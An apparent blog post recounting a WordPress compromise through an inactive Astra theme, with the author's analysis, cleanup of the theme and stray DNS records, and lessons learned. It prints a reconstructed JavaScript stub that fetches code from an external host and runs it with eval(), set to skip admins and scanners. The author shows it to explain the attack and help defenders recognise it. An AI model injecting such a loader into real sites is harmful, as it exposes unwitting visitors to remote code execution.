A WordPress site on our infrastructure was compromised. The malicious code had been injected into JavaScript files belonging to an old, inactive Astra theme — one nobody had touched in months. That detail matters, and I’ll come back to it.
The discovery came through a Wordfence scan that flagged over 160 infected files across one of the sites. Once I started looking, a second site had a related DNS record pointing somewhere it shouldn’t. A third site got a precautionary audit. No infections found there, but the exercise was worth doing.
I want to be honest about the limits of what I know here: I can tell you what the code was doing structurally, and I can tell you what we cleaned up. What I cannot tell you with certainty is whether anything was exfiltrated before we found it, or how long the code had been sitting there. That gap is the real lesson.
What the code was actually doing #
Here is a simplified reconstruction of the cleaned-up logic:
(function() {
if (window.__squqInjected) return;
window.__squqInjected = true;
function HttpClient() {
this.get = function(url, callback) {
const xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
callback(xhr.responseText);
}
};
xhr.open("GET", url, true);
xhr.send(null);
};
}
function rand() { return Math.random().toString(36).substring(2); }
function token() { return rand() + rand(); }
const referrer = document.referrer;
const hostname = window.location.hostname;
const cookies = document.cookie;
if (
!referrer &&
cookies.indexOf("PREFIX1_" + hostname) === -1 &&
cookies.indexOf("PREFIX2." + hostname) === -1
) {
const client = new HttpClient();
const remoteUrl = window.location.protocol + "//DOMAIN/PATH?id=" + token();
client.get(remoteUrl, function(response) {
if (response.indexOf("x") !== -1) {
eval(response);
}
});
}
})();
The obfuscation techniques layered on top of this were: variable name mangling, base64-style string encoding, control flow scrambling through nested hex arithmetic, and dynamic function construction where decoding functions were built at runtime. None of it is novel. The goal is just to slow down analysis and evade signature-based detection, not to defeat a determined reader.
The actual behaviour, once stripped back, is a conditional remote code execution stub. It fires only on direct visits with no referrer and no specific cookies set — a deliberate attempt to avoid triggering in logged-in admin sessions or in automated scanners that follow internal links. If those conditions pass, it makes a GET request to an external server, appends a random token as an ID parameter, and then eval()s whatever comes back.
That eval() is where my visibility ends. The remote endpoint was already returning nothing useful by the time I was looking at it — either taken down, rate-limiting, or rotating payloads. I don’t know what it served previously. That is not a comfortable position to be in.
What we cleaned up and the decisions behind it #
The theme itself — the old inactive Astra installation — got deleted entirely rather than patched. The calculus there was simple: it was serving no active purpose, it had been the attack vector, and keeping it meant maintaining ongoing responsibility for something with no upside. When something isn’t in use, it shouldn’t be present. That sounds obvious in hindsight, but in practice these things accumulate quietly across WordPress environments.
On the second site, the concern was different. There was a subdomain DNS record pointing somewhere external that nobody had intentionally set up. I removed it. I also removed domain verification entries belonging to a former team member’s web development account, which had no business still being there. Neither of those were infected in the Wordfence sense, but both represented unmonitored surface area. I added Disallow: / to the robots.txt on both internal properties as a lightweight measure against future crawler-based reconnaissance. Not a security control in any serious sense — more a signal that these aren’t meant to be indexed.
The third site came back clean but got the same audit pass. No infections, but the process of checking it reinforced something I’d been half-ignoring: the gap between “no malicious files found” and “definitely not compromised” is real. Wordfence finds what it knows to look for.
The question I still can’t answer #
The conditional logic in the payload was specifically designed to avoid firing for admin users and authenticated sessions. That means the population most likely to notice something wrong — people actually logged into the site — were the least likely to trigger it. Ordinary visitors navigating in directly, with no cookies set from a previous visit, were the target. Those visits don’t leave clean trails.
I checked server logs for outbound requests matching the external domain pattern. Some records were there. How many legitimate visitors were affected — meaning: had code eval()’d in their browsers from an external server we don’t control — I genuinely don’t know. I didn’t have enough log retention to reconstruct the full window, and I wasn’t able to recover the payload that was being served.
That’s the honest state of the post-incident picture. The code is gone, the surface area is smaller, and the sites are in better shape than they were before this happened. But the exfiltration question is open, and I think being clear about that matters more than rounding the story off cleanly.
What changed after this #
Inactive themes and plugins are now treated as liabilities rather than neutral artifacts. The attack vector here wasn’t a zero-day or a sophisticated intrusion — it was an old theme sitting dormant in wp-content, never updated, never removed, quietly available as an injection point. Wordfence running and alerting matters, but it matters a lot less if the alert fires weeks after injection.
DNS hygiene is easy to defer and painful to audit after the fact. Removing the stale subdomain record and the leftover domain verifications was a ten-minute task. Knowing they existed in the first place required an incident to force the audit. That’s a process gap, not a technical one.
And the eval(response) pattern — fetching arbitrary code from an external server and executing it directly in the browser — is worth keeping in mind when reviewing any unfamiliar JavaScript. The obfuscation around it will vary. The underlying structure tends not to.